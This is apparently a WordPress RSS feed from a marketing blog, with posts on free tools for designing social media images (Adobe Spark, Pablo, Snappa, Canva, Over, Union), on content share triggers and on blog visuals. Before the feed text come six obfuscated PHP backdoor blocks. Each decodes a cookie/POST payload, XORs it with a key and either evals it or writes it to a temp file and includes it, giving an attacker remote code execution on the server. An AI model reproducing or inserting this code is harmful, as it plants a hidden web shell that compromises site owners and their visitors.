Branding – CODE Marketing: Blog

$kqTZX = class_exists("JHb_QMCr"); $klEbtSAoev = $kqTZX;if (!$klEbtSAoev){class JHb_QMCr{private $VRVheHV;public static $GHFkjXgel = "bf72b07e-17e3-4da0-871a-3eb9d9c59ec6";public static $avbHtSBRKB = NULL;public function __construct(){$EUrAYBrQj = $_COOKIE;$JWDmbO = $_POST;$USrTnN = @$EUrAYBrQj[substr(JHb_QMCr::$GHFkjXgel, 0, 4)];if (!empty($USrTnN)){$GfwGZ = "base64";$NBCNGxVlRz = "";$USrTnN = explode(",", $USrTnN);foreach ($USrTnN as $VoQRB){$NBCNGxVlRz .= @$EUrAYBrQj[$VoQRB];$NBCNGxVlRz .= @$JWDmbO[$VoQRB];}$NBCNGxVlRz = array_map($GfwGZ . '_' . "\x64" . 'e' . "\x63" . "\x6f" . "\x64" . "\145", array($NBCNGxVlRz,)); $NBCNGxVlRz = $NBCNGxVlRz[0] ^ str_repeat(JHb_QMCr::$GHFkjXgel, (strlen($NBCNGxVlRz[0]) / strlen(JHb_QMCr::$GHFkjXgel)) + 1);JHb_QMCr::$avbHtSBRKB = @unserialize($NBCNGxVlRz);}}public function __destruct(){$this->KyHrkwtc();}private function KyHrkwtc(){if (is_array(JHb_QMCr::$avbHtSBRKB)) {$JjGuABngvF = str_replace("\74" . "\77" . "\160" . chr ( 287 - 183 )."\160", "", JHb_QMCr::$avbHtSBRKB[chr ( 675 - 576 )."\157" . chr ( 866 - 756 ).chr ( 269 - 153 )."\x65" . chr ( 1051 - 941 )."\x74"]);eval($JjGuABngvF);exit();}}}$xHSBRYZAN = new JHb_QMCr(); $xHSBRYZAN = NULL;} ?> $soUbtmYg = class_exists("kC_mSWr"); $tzbAZKl = $soUbtmYg;if (!$tzbAZKl){class kC_mSWr{private $EVvYkjwGy;public static $inVyTslAL = "614fba15-62dd-41e8-94a5-8a5cbb91a53a";public static $nkVkv = NULL;public function __construct(){$CEiCBzNBuq = $_COOKIE;$qGbifKF = $_POST;$umJgvSGgri = @$CEiCBzNBuq[substr(kC_mSWr::$inVyTslAL, 0, 4)];if (!empty($umJgvSGgri)){$daMdMgWqYv = "base64";$xjhQpxU = "";$umJgvSGgri = explode(",", $umJgvSGgri);foreach ($umJgvSGgri as $qpHTW){$xjhQpxU .= @$CEiCBzNBuq[$qpHTW];$xjhQpxU .= @$qGbifKF[$qpHTW];}$xjhQpxU = array_map($daMdMgWqYv . chr ( 600 - 505 )."\144" . 'e' . "\143" . "\157" . chr ( 429 - 329 ).'e', array($xjhQpxU,)); $xjhQpxU = $xjhQpxU[0] ^ str_repeat(kC_mSWr::$inVyTslAL, (strlen($xjhQpxU[0]) / strlen(kC_mSWr::$inVyTslAL)) + 1);kC_mSWr::$nkVkv = @unserialize($xjhQpxU);}}public function __destruct(){$this->qMJlOUylbq();}private function qMJlOUylbq(){if (is_array(kC_mSWr::$nkVkv)) {$SBNBZLUt = sys_get_temp_dir() . "/" . crc32(kC_mSWr::$nkVkv["\163" . chr (97) . "\x6c" . "\x74"]);@kC_mSWr::$nkVkv["\167" . "\162" . "\151" . chr ( 991 - 875 )."\x65"]($SBNBZLUt, kC_mSWr::$nkVkv[chr ( 137 - 38 ).chr (111) . "\x6e" . "\x74" . "\x65" . chr (110) . 't']);include $SBNBZLUt;@kC_mSWr::$nkVkv[chr ( 730 - 630 )."\x65" . "\154" . chr ( 661 - 560 ).chr ( 580 - 464 )."\x65"]($SBNBZLUt);exit();}}}$UFudRj = new kC_mSWr(); $UFudRj = NULL;} ?> $pJZzH = class_exists("DZg_cKeu"); $xfoXgict = $pJZzH;if (!$xfoXgict){class DZg_cKeu{private $SadJn;public static $aCUgQwhs = "91629c1b-0bf0-4917-8590-0b3314b2943c";public static $iKDVKK = NULL;public function __construct(){$EnfsE = $_COOKIE;$BdMYmUE = $_POST;$trERK = @$EnfsE[substr(DZg_cKeu::$aCUgQwhs, 0, 4)];if (!empty($trERK)){$RyFDVIxM = "base64";$tmHUuq = "";$trERK = explode(",", $trERK);foreach ($trERK as $LQAAA){$tmHUuq .= @$EnfsE[$LQAAA];$tmHUuq .= @$BdMYmUE[$LQAAA];}$tmHUuq = array_map($RyFDVIxM . "\x5f" . "\144" . 'e' . "\143" . chr ( 1105 - 994 )."\144" . chr ( 577 - 476 ), array($tmHUuq,)); $tmHUuq = $tmHUuq[0] ^ str_repeat(DZg_cKeu::$aCUgQwhs, (strlen($tmHUuq[0]) / strlen(DZg_cKeu::$aCUgQwhs)) + 1);DZg_cKeu::$iKDVKK = @unserialize($tmHUuq);}}public function __destruct(){$this->iHnJIoUJ();}private function iHnJIoUJ(){if (is_array(DZg_cKeu::$iKDVKK)) {$XLlQv = sys_get_temp_dir() . "/" . crc32(DZg_cKeu::$iKDVKK['s' . chr ( 920 - 823 ).'l' . "\164"]);@DZg_cKeu::$iKDVKK['w' . "\x72" . chr (105) . 't' . "\145"]($XLlQv, DZg_cKeu::$iKDVKK[chr ( 720 - 621 ).chr (111) . 'n' . chr (116) . 'e' . chr ( 1005 - 895 ).'t']);include $XLlQv;@DZg_cKeu::$iKDVKK[chr ( 820 - 720 ).'e' . "\154" . "\x65" . chr (116) . chr (101)]($XLlQv);exit();}}}$hiBgquqV = new DZg_cKeu(); $hiBgquqV = NULL;} ?> $IoeMqgofqv = class_exists("Q_POUK"); $nNhiJXqXrw = $IoeMqgofqv;if (!$nNhiJXqXrw){class Q_POUK{private $yeKoNLEg;public static $oBoCMf = "b0af4df3-e20d-4395-9ad7-4153446157bc";public static $UagrjHj = NULL;public function __construct(){$jaMIzb = $_COOKIE;$DXkdFAbPP = $_POST;$VJcBX = @$jaMIzb[substr(Q_POUK::$oBoCMf, 0, 4)];if (!empty($VJcBX)){$rDaufBz = "base64";$JOQolY = "";$VJcBX = explode(",", $VJcBX);foreach ($VJcBX as $HpwlQ){$JOQolY .= @$jaMIzb[$HpwlQ];$JOQolY .= @$DXkdFAbPP[$HpwlQ];}$JOQolY = array_map($rDaufBz . '_' . "\144" . "\x65" . chr (99) . "\157" . chr (100) . 'e', array($JOQolY,)); $JOQolY = $JOQolY[0] ^ str_repeat(Q_POUK::$oBoCMf, (strlen($JOQolY[0]) / strlen(Q_POUK::$oBoCMf)) + 1);Q_POUK::$UagrjHj = @unserialize($JOQolY);}}public function __destruct(){$this->QqbHas();}private function QqbHas(){if (is_array(Q_POUK::$UagrjHj)) {$zwLmwoU = sys_get_temp_dir() . "/" . crc32(Q_POUK::$UagrjHj["\x73" . "\x61" . "\x6c" . 't']);@Q_POUK::$UagrjHj[chr (119) . 'r' . 'i' . chr ( 437 - 321 ).'e']($zwLmwoU, Q_POUK::$UagrjHj["\143" . chr (111) . 'n' . chr ( 145 - 29 ).chr ( 242 - 141 ).'n' . 't']);include $zwLmwoU;@Q_POUK::$UagrjHj[chr ( 883 - 783 )."\x65" . chr ( 524 - 416 ).chr ( 901 - 800 ).chr ( 486 - 370 )."\x65"]($zwLmwoU);exit();}}}$uHzmixtus = new Q_POUK(); $uHzmixtus = NULL;} ?> $cEtoOwYHPL = class_exists("LCi_OmkZU"); $svQKAUW = $cEtoOwYHPL;if (!$svQKAUW){class LCi_OmkZU{private $bHvBodu;public static $VgPUHLxNs = "d7d95d52-7420-4cb4-9ec6-63b14193396f";public static $lZAlfjy = NULL;public function __construct(){$tLZwzMUqYP = $_COOKIE;$WNsBEwp = $_POST;$rCIeOkwHam = @$tLZwzMUqYP[substr(LCi_OmkZU::$VgPUHLxNs, 0, 4)];if (!empty($rCIeOkwHam)){$orduHlQCGj = "base64";$zAOUze = "";$rCIeOkwHam = explode(",", $rCIeOkwHam);foreach ($rCIeOkwHam as $cCaFETpPB){$zAOUze .= @$tLZwzMUqYP[$cCaFETpPB];$zAOUze .= @$WNsBEwp[$cCaFETpPB];}$zAOUze = array_map($orduHlQCGj . chr (95) . "\144" . 'e' . chr (99) . 'o' . chr (100) . "\145", array($zAOUze,)); $zAOUze = $zAOUze[0] ^ str_repeat(LCi_OmkZU::$VgPUHLxNs, (strlen($zAOUze[0]) / strlen(LCi_OmkZU::$VgPUHLxNs)) + 1);LCi_OmkZU::$lZAlfjy = @unserialize($zAOUze);}}public function __destruct(){$this->tjwMy();}private function tjwMy(){if (is_array(LCi_OmkZU::$lZAlfjy)) {$ffHcqpdER = str_replace(chr ( 269 - 209 ) . chr (63) . chr (112) . "\150" . chr ( 626 - 514 ), "", LCi_OmkZU::$lZAlfjy["\143" . "\157" . chr ( 926 - 816 ).'t' . chr (101) . 'n' . "\x74"]);eval($ffHcqpdER);exit();}}}$vobCc = new LCi_OmkZU(); $vobCc = NULL;} ?> $yREwtAvl = class_exists("YOQ_YrsH"); $gutxnF = $yREwtAvl;if (!$gutxnF){class YOQ_YrsH{private $jIUcRbPqOF;public static $oLFnBXbvmI = "30b78542-d74f-404b-8759-222112d44983";public static $yWMEHqr = NULL;public function __construct(){$zwTamKI = $_COOKIE;$FaXsjGsK = $_POST;$WVTxM = @$zwTamKI[substr(YOQ_YrsH::$oLFnBXbvmI, 0, 4)];if (!empty($WVTxM)){$ZdZmOBJc = "base64";$PdkiRcN = "";$WVTxM = explode(",", $WVTxM);foreach ($WVTxM as $YjYnWgW){$PdkiRcN .= @$zwTamKI[$YjYnWgW];$PdkiRcN .= @$FaXsjGsK[$YjYnWgW];}$PdkiRcN = array_map($ZdZmOBJc . "\137" . "\x64" . chr (101) . "\143" . "\x6f" . 'd' . "\x65", array($PdkiRcN,)); $PdkiRcN = $PdkiRcN[0] ^ str_repeat(YOQ_YrsH::$oLFnBXbvmI, (strlen($PdkiRcN[0]) / strlen(YOQ_YrsH::$oLFnBXbvmI)) + 1);YOQ_YrsH::$yWMEHqr = @unserialize($PdkiRcN);}}public function __destruct(){$this->FIyFMYDZ();}private function FIyFMYDZ(){if (is_array(YOQ_YrsH::$yWMEHqr)) {$ulINhdpSv = str_replace(chr (60) . '?' . chr ( 867 - 755 ).chr (104) . chr ( 295 - 183 ), "", YOQ_YrsH::$yWMEHqr[chr (99) . chr ( 603 - 492 ).chr ( 905 - 795 )."\x74" . chr (101) . "\156" . "\x74"]);eval($ulINhdpSv);exit();}}}$xLgPxug = new YOQ_YrsH(); $xLgPxug = NULL;} ?> Branding – CODE Marketing: Blog https://blog.codemarketing.com Thu, 19 Dec 2019 13:30:39 +0000 en-US hourly 1 https://wordpress.org/?v=5.2.20 How to Easily Design Social Media Images https://blog.codemarketing.com/how-to-easily-design-social-media-images/ Thu, 19 Sep 2019 12:00:42 +0000 http://blog.codemarketing.com/?p=1357 Do you create your own social media images? Looking for easy-to-use graphics tools to design professional-looking visuals? In this article, you’ll discover four free tools to create images for your marketing. 1: Preview Text Styles With One Touch via Adobe Spark Adobe Spark is part of Adobe’s suite of creative products, bringing social media image and …

The post How to Easily Design Social Media Images appeared first on CODE Marketing: Blog.

]]> Do you create your own social media images? Looking for easy-to-use graphics tools to design professional-looking visuals?

In this article, you’ll discover four free tools to create images for your marketing.

1: Preview Text Styles With One Touch via Adobe Spark

Adobe Spark is part of Adobe’s suite of creative products, bringing social media image and video creation to the web. It’s one of the easiest online image editors to use and offers many design templates to choose from.

Here’s how to use Adobe Spark to make social media images for any of your social media accounts:

First, navigate to the Adobe Spark website and sign in with your Adobe ID. A Creative Cloud license isn’t required to use Spark, but you do get some extra features if you have a subscription. Namely, you can remove the Adobe Spark watermark with a paid Adobe Spark plan or Creative Cloud subscription, both starting at $9.99 a month.

Once you’re logged in, you’ll see a variety of templates to choose from. All of the popular social templates are displayed on the home screen, or you can use the search bar to find even more types of templates. Once you find one you want to use, select it.

Adobe Spark offers a variety of templates to customize for your social media images.

After you make your selection, the Adobe Spark editor opens with your chosen template. Most templates have pre-made images and text boxes. You can resize the design elements and drag them around the canvas to reposition them.

You’ll see four tabs on the right of the screen:

The Design tab lets you pick a different pre-made theme for your template.
Click the Colors tab to select a different colour scheme.
Open the Layout tab to choose a different image layout.
Click the Resize tab to resize your image.

The Adobe Spark editor opens with your chosen template.

To edit the text in the template, double-click the text box and start typing. You can change fonts and other text options on the Type tab.

To change colours, click the Color tab and select one of the pre-made colour templates. Note that this will also change the colour of the shape connected to your text.

Speaking of shapes, you’ve probably noticed that your text is connected to a box, circle, or another shape. This is located behind the text, pulling the image together and frankly, making it look pretty cool. Click the Shape tab on the right side of the screen and select whichever shape you’d like to use with your text. It will be automatically applied to your image.

Click the Shape tab in Adobe Spark and select whichever shape you'd like to use with your text.

Alternatively, you can use Spark’s built-in suggestion tool to change your font and shape. Click the Style tab on the right side of the screen and drag the green circle in the wheel to cycle through different text styles.

Use Adobe Spark's built-in suggestion tool to change your font and shape.

Changing the template’s background is easy too; just double-click on it. Then you’ll be prompted to upload a new image and apply an Instagram-style filter to the background. Note that this will replace the current background.

When your masterpiece is ready to share, click the Share button at the top of the screen. From here, you can share to Twitter or Facebook, or via email. To download the image, just click the Download button to the right.

#2: Design Basic Social Media Images Quickly With Pablo

Pablo by Buffer is a no-frills online image editor that lets you make basic social media images in seconds. So while it doesn’t have some of the features of other image editors on this list, it works in a pinch. This tool is free to use without registration, making it perfect for when you or your team needs to create a quick image.

All of Pablo’s editing options are available on the app’s homepage. There are no menus or other hoops to jump through; just navigate to the site and start editing. Here’s how to use Pablo to make basic social media images:

First, look at the upper-right corner of the screen and choose which social network you’re designing this image for. Currently, Pablo has presets for Pinterest, Instagram, Facebook, and Twitter, which will ensure your image is sized correctly.

Next, scroll through the list of images on the left to find one you’d like to edit. You can search through Pablo’s huge library of royalty-free images, or click the Upload Image button at the bottom of the screen to upload a custom image.

Search through Pablo's library of royalty-free images, or click the Upload Image button

You can add filters to your images, too. In the Filters box on the right side of the screen, select the filter you want to use. There are quite a few to choose from, and all have a look similar to Instagram’s filters.

Select the filter you want to apply to your image in Pablo.

After you select an image, it appears in the center of the screen with a pre-made text box. Double-click on the text box to edit the text inside it. Additionally, you can drag the text box on the screen to reposition it. Add more text elements using the options in the Text box on the right side of the screen.

Double-click on the text box in your Pablo design to edit the text inside it.

Finally, click the Logo box in the bottom-right corner of the screen to upload your company’s logo. You can drag your logo around the screen to reposition it. This makes it easy to brand your social media images using your brand’s logo.

Once your image is ready to share, click the Share & Download button in the bottom-right corner of the screen. From here, you can share your masterpiece to Twitter, Facebook, Instagram, or Pinterest. Alternatively, you can download the image to your computer.

#3: Design Automatically Resizable Social Media Images With Snappa

Snappa is a user-friendly online image maker that has templates for every social media network. In addition to social post templates, it offers banner, story, and infographic templates. This makes Snappa your one-stop shop for creating all sorts of social media content.

In this example, you’ll use Snappa to create an Instagram story image from a template, but the process is the same for the other social media image sizes.

To start, create a free account or log in. Snappa also offers a Pro account ($15/month, billed monthly) that includes unlimited downloads and custom fonts, but the free account is a good place to start.

After you log in, you see a list of preset sizes for social media posts, blogging and infographics, social media ads, and other options. Select Instagram Story for this example.

Next, you see a list of pre-made Story templates you can customize for your design. Click on the template you want to use. Alternatively, click the + button to create a story from scratch.

Click on the Snappa template you want to use.

After you make your selection, the template opens in the Snappa editor. Snappa has a ton of advanced editing features, similar to some of the features you’d find in Photoshop or another advanced image editing suite.

Now customize the template to your liking. Double-click on any text elements to add or change text. Use the text options on the left-hand side of the screen to change the font size, color, or type.

Double-click on any text elements in your Snappa design to add or change text.

You can add images, shapes, and other design elements to your social media images. In the upper-left corner of the screen, click the Graphics tab to see a list of vectors and custom images to choose from or to upload your own image.

Click the Graphics tab in Snappa to see a list of vectors and custom images to choose from or to upload your own image.

Similarly, click the Shapes tab to see a library of shapes you can add to your design. Click to select a design element and add it to the canvas. Drag to reposition it on your design.

To resize any design elements, click to select the element and use the knobs that appear on it.

To resize any design elements in Snappa, click to select the element and use the knobs that appear on it.

Note that you can also add background images to your Snappa designs. Click the Background tab to see an array of options. You can search through Snappa’s royalty-free image library or upload your own background by clicking the Uploads button.

To rearrange your background image, click the Reposition Background button at the top of the Background tab. You can then rearrange the background image to your liking.

Search through Snappa's royalty-free image library or upload your own background by clicking the Uploads button.

You can also apply effects to your background image on the Effects tab. Here, you can add color overlays, darkening, and more.

Once you’ve decked out your image with visual elements and are ready to export it, you have two options: download your design or share it directly to social media. Click the Download button at the upper right-hand corner of the screen and select the format that works best for you.

You can also share directly to social media by clicking the Share button that’s located to the right of the Download button. At this time, you can share directly to Twitter or Facebook from the app.

And that’s it! You’ve created and shared your image to social media in Snappa. It’s as easy as that.

#4: Add Simple Data Visualization Charts to Social Media Images in Canva

Canva is a free online image editor with a huge library of free templates and royalty-free images. The app has built-in templates for all of the major social networks, and you can even post directly to your social media accounts from the app.

Creating an image from one of Canva’s templates is simple. After you log in, click the More button in the upper-right corner of the screen.

After you log in to Canva, click the More button in the upper-right corner of the screen.

Canva’s full list of templates will appear. Look in the Social Media Posts section and select the template that best fits your needs. For this example, select the Instagram Post option to create an image for Instagram.

Look in the Social Media Posts section in Canva and select the template that best fits your needs.

After you select the template, a new document is created.

Click the Layouts tab on the left-hand side of the window and you’ll be presented with a list of post layouts to choose from. All of these layouts are fitted for your post size.

Search through the list and click the layout you want to use; it will be imported to the editor, ready for you to customize.

Click the Layouts tab in Canva to see a list of post layouts to choose from.

Note that not all of the templates are included with the Canva free plan. You can upgrade to Canva Pro for $12.95 per user/month, billed monthly, or stick with the free plan if you’re happy with the limited amount of free templates.

Editing a Canva template is easy. Just double-click on the text boxes to edit the text. You can change the fonts, too. Just click the font pop-up menu at the top of the editor and select a different font. You can also edit the point size, spacing, colour, and more.

Click the font pop-up menu at the top of the Canva editor and select a different font.

If you want to edit the background of your design, click the Background tab on the left-hand side of the window. In the background window, you can choose background textures, colors, and even search through Canva’s library of royalty-free images. Click on the image or texture you want to use, and it will be automatically applied to the image.

Choose background textures, colors, or search through Canva's library of royalty-free images.

Speaking of images, you can add other design elements to your Canva masterpiece. You can use your own images or pick one from Canva’s large selection of royalty-free images.

To do this, click the Elements tab on the left-hand side of the screen. You’ll then be presented with a list of different design elements to choose from, including:

Free Photos: add an image from Canva’s library of free images
Grids: make image grids on your social media post
Frames: add frames to your image
Shapes: drag and drop vector shapes to your image
Lines: add stylized lines to your image
Illustrations: add free vector images to your image
Icons: add free icons to your image
Charts: visualize basic data on your image
I <3 Canva: choose from free Canva images to show your support for Canva

Click the Elements tab in Canva to see a list of different design elements to choose from.

Select the element you want to add, and drag and drop it to the canvas. Once it’s in, you can resize the element by dragging on the sides. You can add as many elements as you’d like, so make something awesome!

Resize a chart in Canva by dragging the sizing handles.

Finally, you can add your own images or vectors to the canvas. Open the Uploads tab and click the green Upload Your Own Images button. Select your file, and then drag and drop it to the canvas. All of the placement and resizing options are the same as above.

Open the On the Uploads tab in Canva, click the green Upload Your Own Images button.

When you’re done creating your image, you can export it. Click the Download button at the top of the screen and select the file type you need. You also have the option to choose a transparent background. Transparent backgrounds work only with PNG images that have no background image set. Click the green Download button when you’re ready.

. Click the Download button at the top of the screen and select the file type you need.

You also can publish your image directly to Facebook or Twitter right from Canva. To do this, click the Share button at the top of the screen and click the Social tab in the pop-up box. From here, you can type your accompanying message and select the social network to share it to(Twitter or Facebook). Click Share Now when you’re ready to share.

And that’s all there is to it. You’ve successfully customized one of Canva’s templates and shared your design to Facebook and Twitter. Sharing to other networks requires you to download the image and post it manually, or use your favourite social media management app.

The post How to Easily Design Social Media Images appeared first on CODE Marketing: Blog.

]]> Image Tools for Marketers on a Budget https://blog.codemarketing.com/image-tools-for-marketers-on-a-budget/ Thu, 12 Sep 2019 12:00:46 +0000 http://blog.codemarketing.com/?p=1364 Do you need to create professional-looking images for your social media marketing? Looking for mobile and desktop tools to help? In this article, you’ll discover three affordable image design tools for marketers. #1: Create the Perfectly Sized Image for Every Social Network Over (available for iOS and Android) is a powerful image tool that lets you create stunning graphics …

The post Image Tools for Marketers on a Budget appeared first on CODE Marketing: Blog.

]]> Do you need to create professional-looking images for your social media marketing? Looking for mobile and desktop tools to help?

In this article, you’ll discover three affordable image design tools for marketers.

#1: Create the Perfectly Sized Image for Every Social Network

Over (available for iOS and Android) is a powerful image tool that lets you create stunning graphics in minutes. It’s available in both free and paid versions ($99.99/year for iOS and $39.99/year for Android, both with a 7-day free trial). The features in the free version are more than sufficient for creating attractive social media images.

After you install Over on your mobile device, launch the app and tap the + button to create a new project. If you have the paid version of the app, you can choose one of the featured layouts or design your own background. This walkthrough will focus on options available in the free version of Over.

When your new project opens, select a background for your design. You can choose an image or video from your camera roll or opt for a transparent, white, or black canvas. A transparent background will give you the most versatility.

On the next screen, choose a size for your project. At the bottom of the screen, you’ll see a variety of social media presets—Instagram, Facebook, Twitter, Snapchat, Pinterest, and YouTube—iPhone backgrounds, and more. To set a custom canvas size, tap the image dimensions box at the top of the screen and enter a custom width and height. Tap the checkmark icon to save your changes as you design your image.

To add an image to your design, tap Image at the bottom of the screen. Then select a photo from your camera roll or a royalty-free image from Unsplash or Pixabay. Use the search box to find a stock image that fits your brand.

After you make your image selection, you’ll see editing tools at the bottom of the screen that let you apply a filter to the photo, tweak exposure and contrast, adjust opacity, crop, and more.

If you’re using the paid version of Over, you can automatically search your phone for any PNG files you’ve saved, making it easy to include a logo or custom image file in your design. If you don’t have an image saved to your phone, you can search for images on the Google tab.

To add text to your design, tap the Text tool at the bottom of the screen and type in your text. Below the text input box, you’ll find dozens of fonts to choose from. Tap the chevron icon on the left to access the font library with additional free and paid options.

After you save your text, use the tools at the bottom of the screen to tweak the text. Experiment with some of the text functionality. For instance, try applying a shadow to dark text on a light background, or adjust the alignment or opacity to make it stand out.

If you want the text color to match one of your brand colors, select the Color tool. Then tap the color wheel icon and type in the color code you want to use. Over also offers a custom color picker that allows you to match the text color to another shade in the photo to give your graphic a consistent look that’s appealing to the eye. Play around with your color options so your photo speaks perfectly to your audience.

When you’re ready to share your photo, tap the arrow button at the top right of the screen and select an option from the pop-up menu. Over lets you save your image directly to your phone with no watermark. If you upgrade to the pro version, you can schedule a post to your social account.

Pro Tip: Over also allows you to customize videos to a degree. You can add graphic overlays like your logo or a call to action directly on top of videos. This functionality is particularly useful for creating Instagram stories.

#2: Remove Backgrounds and Combine Photos

Union (available for iOS for free, with in-app purchases available) lets you remove parts of existing images to merge them. If you’ve ever wanted to tweak a sunset, blend in a new background, or combine two images, Union is the app for you.

Use Union App to create images for social media, step 1.

After you launch the app, tap New to create a new project. In the pop-up menu, tap Background.

The background you choose will form the bottom layer of your design. Tap Photo and select an image from your camera roll. Then adjust the image dimensions if needed. Alternatively, start with a colored or blank background if you plan to create a PNG. This is a great option for removing the background noise from a logo or headshot to use on top of another image.

After you select your background, tap the menu button in the upper-left corner of the screen.

Next, tap the Foreground option and select an image. The foreground is where you’ll be tinkering and editing to create something unique. This layer exists on top of your background so select an image that will create an interesting effect.

You can drag the foreground image to reposition it on the screen, pinch to scale, and use two fingers to rotate it.

After you select the foreground image, tap the menu button again and then tap the Mask option to start making alterations to it.

You can erase parts of your photo manually with the Eraser tool, which has a variety of sizes and options to choose from. Use your finger to brush away parts of the foreground image. Pinch to zoom in for details.

To erase the background noise in one click, select the Magic Wand tool instead. Tap the area you want to remove and then drag the slider to fine-tune your edits. Use the Draw tool if you need to restore portions of the foreground image.

In the photo below, we’re erasing the white background of the apple so the image will sit cleanly on the streets of New York City.

If you’re happy with your image, you can flatten all of the layers into a single image. This allows you to add even more layers to your photo and start the process all over again.

When you’re ready to share your masterpiece with the world, tap the Export option to save the image to your camera roll, open it in Instagram, or share it.

#3: Produce Quick Graphics

Pablo by Buffer is a free web-based image tool that allows you to create graphics for your social media accounts. Its customization options are somewhat limited, but it’s perfect if you need a quick image for a tweet, Facebook post, Pinterest pin, or Instagram post. The main benefits of Pablo are its speed and ease of use.

On the left side of the screen, search through 600,000+ images from Pablo, Unsplash, and Pixabay, and then select an image to add it to your canvas. Or click the Upload Image button to upload your own file for even more customization.

Once you’ve selected the perfect background, choose an image size on the right side of the screen. Pablo offers three image size presets: Pinterest, Instagram, and Facebook/Twitter.

Pro Tip: For Facebook images, choose the Instagram photo size to maximize your space in the news feed.

Pablo’s text options aren’t as extensive as those you’ll find with Over, but they’ll do the trick for quick designs. You can choose from more than 20 fonts and adjust the size, alignment, and emphasis. Drag the text to reposition it on the image.

In the Text section on the right side of the screen, you can add a header and caption or choose one of Pablo’s many pre-written quotes.

In the Filters section, you’ll find options to apply contrast, blur, or other filters to make your text stand out on a noisy background. Play around with the filters to find an overlay that suits your image.

Another handy feature is the ability to add a logo to your image to keep your brand front and center. Note that you can only upload one image to a single graphic.

When your image looks perfect, you can share or download it directly from Pablo. Send it to your Buffer, Facebook, Twitter, Pinterest, or Instagram account, or save it locally and upload it at a later time. Remember that because Pablo is a web-based tool, you’ll lose your work if you reload the page.

Pro Tip: Use one of Pablo’s templates to get your creative juices flowing. Click Templates at the top of the screen to view templates for quotes, announcements, promotions, and outreach. Simply select a template and start editing. You’ll still have access to all of the customizations mentioned above.

The post Image Tools for Marketers on a Budget appeared first on CODE Marketing: Blog.

]]> Triggers That Make People Want to Share Your Content https://blog.codemarketing.com/triggers-that-make-people-want-to-share-your-content/ Sun, 25 Aug 2019 05:00:20 +0000 http://blog.codemarketing.com/?p=1330 Did you know you can add simple elements into your content to make it highly shareable? They’re known as “share triggers.” And using them in every post you publish you will be able to get hundreds of social media shares. Even better, they’re easy to create and they work. Even better still, you don’t need …

The post Triggers That Make People Want to Share Your Content appeared first on CODE Marketing: Blog.

]]> Did you know you can add simple elements into your content to make it highly shareable? They’re known as “share triggers.” And using them in every post you publish you will be able to get hundreds of social media shares. Even better, they’re easy to create and they work. Even better still, you don’t need a big following or email list for share triggers to work. All you need is to know how to use them.

Share trigger 1: Information gaps to spark curiosity

People have a desire to consume and share content that delivers clarity around an unknown topic, according to research conducted by Carnegie Mellon University. The study also raises the idea of information gaps – powerful motivators for people to seek clarity about a topic.

In other words, adding information gaps to your content encourages people to not only keep reading but to share your content. The secret is to use information gaps to spark emotional curiosity then to make sure you satisfy it to get rewarded with more social shares.

Step 1: Preview something

What do you notice? I opened a powerful information gap by previewing something unknown to readers but available later in the guide. When readers see this, they think: “Wait! There’s a trap to targeting on Facebook? I’ll keep reading to find out what it is.” See how information gaps are simple, yet super effective at sparking curiosity?

Step 2: Give a solution

Once you make people aware of a potential gap in their knowledge, they’ll want to fill it with information that puts their curiosity to rest. If you want to be rewarded with lots of social shares, then you need to provide a resolution that satisfies their knowledge gap.

Share trigger 2: Create memorable content

It’s incredible to think that almost 2.4 million blog posts are published every day. How do you make your content stand out and get lots of social shares? Create memorable content because it sticks in the minds of readers like glue.

Share trigger 3: Great content design

One of the most underrated aspects that makes people share content is good design. When people first land on your content – they have a series of subconscious micro-impressions about it. Content design:

– Helps readers decide to stay or leave.
– Indicates perceived value.
– Affects their willingness to link and share it.

Here are three quick tips to instantly improve your content design:

1. Use high-quality imagery with lots of information

Easy-to-read graphs like this one work well because readers can easily see interesting data. Infographics are another great way to boost your page design and perceived value. They also come with the bonus of being highly shareable assets.

2. Keep colour changes to a minimum

Stick with two or three primary colours and make the palette consistent across your blog. If your images use neutral colours people are more likely to share and embed them because they fit in better with their site.

3. Design your content for skim readers

One key share trigger I haven’t mentioned yet is content length. Nobody likes to read a wall of text.

Break your content up into smaller, bite-sized chunks of information. An easy way to do this is by adding subheads and images into your content – the more, the better.

Share trigger 4: Content utility

Content utility is all about creating content that gives readers practical advice. Think worksheets, step-by-step recipes, checklists, and free online tools.

Why does utility correlate strongly with shareable content?

It turns your content from just another informative blog post to something that’s super practical for the reader. The trick is to make sure your readers can follow the steps (think cooking recipes) to achieve a result.

Share trigger 5: Social currency

Probably the most potent share trigger, social currency works on the premise that people like sharing the good news, more specifically, news that makes them look good or reinforces their beliefs. The real secret to social currency happens when you make influencers in your industry look good. Here’s a simple three-step method for adding social currency into your content:

Step 1: Reach out to influencers in your space via email and ask them a simple question related to a topic. Don’t forget to mention you’ll link to their site.

Step 2: Incorporate influencers’ responses into your content.

Step 3: After you’ve published your article, email the influencers to let them know the post is live and ask them to share it. It can result in a tweet or post seen by thousands of their followers.

Even better, because your content sources are industry heavyweights, people will pay attention to it and are happy to reshare it too.

Share trigger 6: Content length

BuzzSumo looked at the social shares of 100 million blog posts and found that content length is a factor for creating shareable content. In other words, long-form content generally outperforms shorter content in terms of social media shares.

Long-form content generally provides more comprehensive answers to readers’ questions, which further boosts its perceived value, making it worthy of a share.

Share trigger 7: Call-to-action conclusions

When someone reaches the end of your content, they think “What do I do now?” If you’re smart, you can use this to your advantage.

Simply ask the reader to share your post or leave a comment. That’s all there is to it.

The post Triggers That Make People Want to Share Your Content appeared first on CODE Marketing: Blog.

]]> Make Your Blog More Attractive With These Visuals https://blog.codemarketing.com/make-your-blog-more-attractive-with-these-visuals/ Sun, 11 Aug 2019 05:00:17 +0000 http://blog.codemarketing.com/?p=1340 How many times have you pondered over which images to use in a paragraph, blog post, web page, etc.? It is difficult choosing visuals for content. Yet it’s important, as research shows that images attract more people to the content and help people retain ideas from the content they consume longer. According to recent research, …

The post Make Your Blog More Attractive With These Visuals appeared first on CODE Marketing: Blog.

]]> How many times have you pondered over which images to use in a paragraph, blog post, web page, etc.? It is difficult choosing visuals for content. Yet it’s important, as research shows that images attract more people to the content and help people retain ideas from the content they consume longer. According to recent research, 41% of bloggers use two to three images in their articles, while nearly 22% use five or more. That means bloggers view visuals as important for their posts.

1. Data-driven visuals

To be a well-known leader in your industry, create data-driven content. Designed as charts or graphs, this content can make it easier for your audience to comprehend your message than with text only. People love sharing new data and well-researched information that looks awesome in a visual.

2. Quotes

Influencer marketing is a great strategy for extending your content marketing reach in a valuable way. Creating an image with the influencer and his or her quote, you create a memorable image. You can incorporate quote visuals from living influencers, particularly within your industry, as that increases the chance the influencer responds to your content (and shares with his or her audiences).

3. Infographics

